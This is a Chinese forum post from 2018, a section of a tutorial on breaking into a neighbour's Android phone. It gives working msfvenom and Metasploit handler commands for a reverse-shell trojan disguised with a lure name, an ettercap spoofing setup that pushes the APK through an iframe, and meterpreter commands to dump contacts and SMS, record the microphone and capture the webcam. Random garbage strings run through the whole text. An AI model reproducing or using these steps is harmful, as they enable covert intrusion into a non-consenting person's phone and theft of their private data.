|
8 V% h% L; e. Y" u 五、msf+ettercap入侵邻居安卓手机
4 e7 \& F! o/ b! A3 M + N$ Z6 m l5 G8 ~
6 C) l" j$ a- ?" S 首先启动msf
! b5 x( }7 z+ N3 o. u$ _" G ) Y1 @( O g& c# O& i+ b% `
( ]. {4 l9 J. H* q. G- o. f+ r* f4 u5 } 先用kali生成一个安卓木马，如下命令：
9 x( u: b0 B0 w% N; J * }( H5 L- p0 z1 O! g$ v5 N N
! L _$ y2 {, i l# J Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
* s: l4 J7 a8 J4 j$ M' X8 W
6 m; l z/ t5 P& H5 [% \4 _3 C
: j g z5 l( J+ Q' K* b0 E  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 6 y& S& ~0 P! A
3 R# s: u' I5 A9 r3 d2 V
( v$ P+ T7 h1 B1 s" g1 U: `8 v" ~6 J 然后进入msf
4 K( t( G+ s. W' O- @
+ x& b2 z# B' L# n
9 D# o' ?& }. J" T, ^+ Y use exploit/multi/handler
+ w0 t3 I7 L, k0 T6 H
" X6 h/ x( o- o3 |3 W9 T" s/ @4 Z; D G v. G- P! g
set payload android/meterpreter/reverse_tcp 0 G$ C* k, V: j8 M5 ^
. {* r: z- L: v+ d7 F
2 [, ~" y5 \9 r- P& I) e, [
set LHOST 192.168.0.109 //ip为kaili的ip
$ [( @5 Y; M* B0 } # ^' h0 ^+ {4 a, x5 M1 `: Q
( i& z# l9 f' E# b& e" a set LPORT 44444 //端口一定要与前面生成的木马的端口一致
6 l3 S: ~. N7 _& I: [ # Y6 u2 c* F1 i7 T! [. J/ ]
: I) a3 B9 F$ c2 H Exploit
3 V9 N7 _6 j2 M+ B- N
0 k: Z, v8 b3 x% N4 H( R* r2 d7 |
c2 I5 d3 R, n3 `7 W9 M
: g% X" X8 _3 Q3 D/ G, }, \$ L! S) G
下面我们开启ettercap -G 2 Q4 d) |9 c/ m* Y# t# I; N1 Q9 j# {
; b9 \+ j/ c q/ C
7 X( C+ w5 n+ N. Y 我物理IP为 ( s# l) V) ~8 r1 v& m. z
2 o/ e+ n7 t- O
8 D0 a' v v h* n! ?) v2 W7 _1 D  2 Z4 ]' `' p3 J2 v. ?+ G
- L9 @. N+ {( K' O1 e0 A H1 a. v8 {" B! `5 Z5 ^. ] Y- g1 {8 ?
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
2 @: |- m: l) G0 V; U! l# Y
! D! R" i4 {7 \' G1 \+ W; V3 v* l0 G6 Q l. K/ t( U, T/ z
下面我们来设置一下
5 j: {2 M+ P, N" d- C
0 e5 B- j' r$ X' H* X. P s; J! g# I t9 y4 E' d) S% D! c" g
; h# Z4 O8 r8 n& k1 r! C# c " d: V. O- U1 H+ x$ y) s2 t6 U4 ]8 B
' \1 _' x: U/ x, m
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， / M, R2 t: N B9 J
) U r4 R7 H. u
& v% E9 e3 O9 k3 K
% Q3 s% g( z% k7 e/ x* g 3 s; O5 Z' h1 m; S
2 l" ]& H1 T( U# ]6 }/ z: g. U
& {* H2 I9 O. `) @/ \$ y( r9 p. k$ T 2 U9 p) z% V& I3 P8 ^$ V% ]
4 p% |$ `& e* v' I- P4 R+ S. x2 L " H- L) X& l9 R+ E4 h. \
; `* ?) ]% u, r4 f( E2 t1 [3 E* I) ^, [8 h/ H5 S! s
: L7 h: W1 W- `5 i
8 A- k' E7 g+ Z8 [
r; V. S' q1 `& F
B2 [/ i A6 L+ E
1 y4 N, l' P. f) H
/ @( W6 ~5 V* s ^5 u5 D
5 a c8 w) J5 J0 X * {- t% x3 _& r+ J/ k
2 \- x9 |5 C4 E! C% K 6 |( M6 }- |" R+ U# ?% O& ?
3 }. k* s1 u% O6 k {; R, N% [' X* `% g7 \" r
; R7 q" W5 m1 Q/ {0 a
. M) U: D- Q% v9 U" D. N5 P" D0 O: D W# H5 M
. S+ Y, {. ]& R- S- k3 M
$ H! W6 w* k, Q" ]$ p+ X1 z- R, E7 I1 ?
8 P3 }6 |( C* g/ ` ; Z: e S6 J" q1 g) {. a
4 f4 _% U, ?3 V& y# o
- h; `4 ~" _ W! X
6 [& v/ ~8 _0 V( {! F& u5 T
# u0 k( |3 `5 l" i3 P/ n ]4 L7 v; |& i
4 B/ Q5 ^& o- |8 O0 G a s1 n . e, z( d9 @& l+ W' b
+ p1 V, I# ]- Q 
0 F1 R. I6 t! h' ]) t( k+ ~
, J o; s1 X% q# o/ u. U* l' Z; Q$ u* q/ |% t; g, S7 q; k
下面我们开始攻击
' _. `' }' L9 | 1 d/ F' W I9 v+ R
% X! ]% x+ B: I& p9 } 1 u% o1 e3 f" Y
/ p/ O5 j7 v) T, X$ A0 Q5 C. T* ~+ s: {/ U8 h5 j
+ l! q- K2 u# S( }) b% n% f! m , Z, T' c# ]9 n
" P$ T7 c- h" m. o6 R, k 5 K Q8 Z" N3 V8 j& M
- S' t$ `$ \/ D4 _+ }; Z
4 n5 A. E6 d# ]% O9 u
$ c, \& e! g+ f+ [9 W: o9 G 8 C" d/ x! e8 `6 Y o
5 {( V( |0 b. \! H; j6 P+ v 
0 y- t4 H' K5 x! X! C9 C$ q- E2 o " F3 Z; z; ?8 h; c7 I; @5 `
1 u6 P, p5 K9 n4 f 大概过了5分钟多，发现反弹成功了 6 Z1 Z0 Y- V* V
0 S B* G: u; I: m' |" o5 }! H8 u: e+ r- M
( _" n2 B7 ~. i7 z0 u w # n# r& e5 {/ X: G! t7 J4 X
1 g0 h4 I% Y3 |- S( l; J7 h/ G' D % S# Y ]! A6 Q, U
) v* f& w9 `2 `! j0 g7 \- K( \1 T9 X3 {- j5 U& Y
& l0 M( i. G8 w' A% @ T0 c h
" j4 B5 z y! Z$ D3 |8 _! O7 m! }& x) m& Q9 x. z/ F: H: e& ?$ w
n9 q, g& K! k" u% T) b- F# @) X
& D H/ L* z' {9 p+ Q
9 _& C2 m, u4 w' Q5 _7 |" B 7 U( Z! y+ G, g6 D( D- ]! Q6 I
# z# f1 M; W/ g
7 e1 _6 }% i6 Z4 {% y5 _
* d; p; M/ }8 Q. K
8 \+ r7 x7 i4 m F: x
+ z/ \) K7 {/ D4 I: u) q  * O. I7 v$ P+ B, F: y1 i
" o. u: {2 g3 r U8 ]% P
5 e& X O* K9 ~. k
执行命令
9 U, C2 m6 P) d/ h3 G4 x/ ? # D. Q, ]$ Q1 `
" {8 |1 i9 M- O r% V3 j& _3 B ! U; d* H" S5 l ^
- R" G) G2 k @9 Y( j: s+ [0 g
7 }) D4 C1 X7 Q U! a+ L
dump_contacts --》这个是导出电话
' Y5 N1 _/ O! L 5 s1 T2 W. d3 a* P5 ?/ q
% @3 J& |# i1 P' _
dump_sms --》这个是导出信息
1 n! ?, v0 a- P8 v) L3 T& f9 R9 B 1 S) H/ g) g( Z& w* G" G
0 b+ X6 u+ T5 V( D7 O
record_mic Record audio from the default microphone for X seconds 1 R% K9 M9 J* o+ J4 y# Z. x9 ?9 _0 g
9 m% R4 G( T5 a5 E2 o. ]
& z* ]0 n9 |1 [! m6 V0 `1 C webcam_chat Start a video chat
+ O3 C; c" k# h$ b. ~: j . A; A) B& i3 b k, i6 ]9 J g
/ k6 D S5 t* I9 R% f s& v( _ webcam_list List webcams & v3 p+ ?. c+ | |) O8 J
% S6 [; ~2 z( ~! b
3 I9 f8 P+ h9 v5 G7 y# I0 s
webcam_snap Take a snapshot from the specified webcam
& |) ?( a/ b" j2 Q w
3 e6 e2 D& D# p" ~, a1 t# S' P
. y1 S- N3 _: Y0 C2 Z" ?! W webcam_stream  lay a video stream from the specified webcam
# K( u) B8 ^! w- Q5 o# U N& Y+ u
0 p* E; [% V" W7 Y
5 q j$ d3 M- ?& w; q& n7 o  & t* [6 ]/ h, ?7 d" X! v d* |
8 z1 A$ J+ S0 l4 K0 W" e7 S
$ ~0 g, S |% s 
* c4 ], g- }) ?+ D$ k2 a
( w: b9 R+ |7 ^+ ~: k4 E! b+ l2 U1 S* j% Z
我们打开看一下电话薄， Z, d" p: b& U! I6 f, Y
# L7 i1 d L' m6 M8 [" l3 x9 P8 I8 J1 ^% R- R6 ?
0 O" h! }+ x# D+ x1 R& K
, Y- R; \! T& O0 S1 L$ ]; t' ?# }; q5 T% H; G7 F) V7 X5 J/ c) Q
 6 w& o z2 d: _5 [" l
' A, U' l9 C5 D& L4 N' v! J
( Z. O& O0 ]6 A, W* h9 h) @
! G, _/ k" y3 e9 g+ J0 ], E! n
4 Q& R2 b& j, T, n
$ K' Q3 I6 |* w9 Z+ L 
, s' P* k& G8 K n9 ^ % a0 ~: w5 b, M% K
+ U+ \' T2 ~0 d
$ b6 u1 h+ x; D' T. U7 J 9 X4 P: e( R, D
2 z- i: t: e0 p* }2 N$ S3 C
- h' E7 c5 u) |
7 \+ W- b7 f* k& I+ I( C0 Z6 f
2 j0 @8 Z3 P3 d* |7 M 我们同时欺骗成DroidJack木马，使用方法如图：
5 \: t0 w3 m; L" m
) M' v' t" F; h7 G+ T J& v9 t3 f; {: X5 M/ \1 l3 d! @. l; [# Y
9 @6 J, B `2 `% p" }9 y. F- p" f
9 D) x, ]0 h3 S/ R6 @- k. q3 v, g! e; ^/ y
5 W+ n2 U% k! X' R , o4 \* x) n% t+ C0 _
: b5 g) O( V/ Z) r F, C+ ]
 / d, v$ O8 m- j& ~3 r& {" _
5 I- F, e) i. d. I- y' i6 [- B% V& [% J/ G+ X
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
+ E6 h+ x, S& h+ F d6 R 9 r( O) B! N/ i2 z$ U, b3 [
m5 H: K6 U. J w  . |/ s. G8 s4 O& Y- E
! ^5 E( {3 A# E
; t1 w. R4 I0 ^# L i5 e$ g 
0 g3 |' u5 @ i; Y5 @( e* x 0 o+ t1 m; y3 T1 ?% |! w5 f
/ W4 i' J6 e+ } 
% j* z7 G8 B. w2 J V5 n# i' Q: Y % p O& v& I/ K$ f8 Z
1 a+ t& W& j5 C8 i f
  * i3 ~) a3 o8 n) o
5 e0 {: z9 N# V; q. o5 W ]; U
7 o; y- a- T" G* W- L4 b5 ~- W% l+ r6 z
; Y0 _0 E% _9 a* }( E | 
发表于 2018-10-20 20:30:37
收藏
支持
反对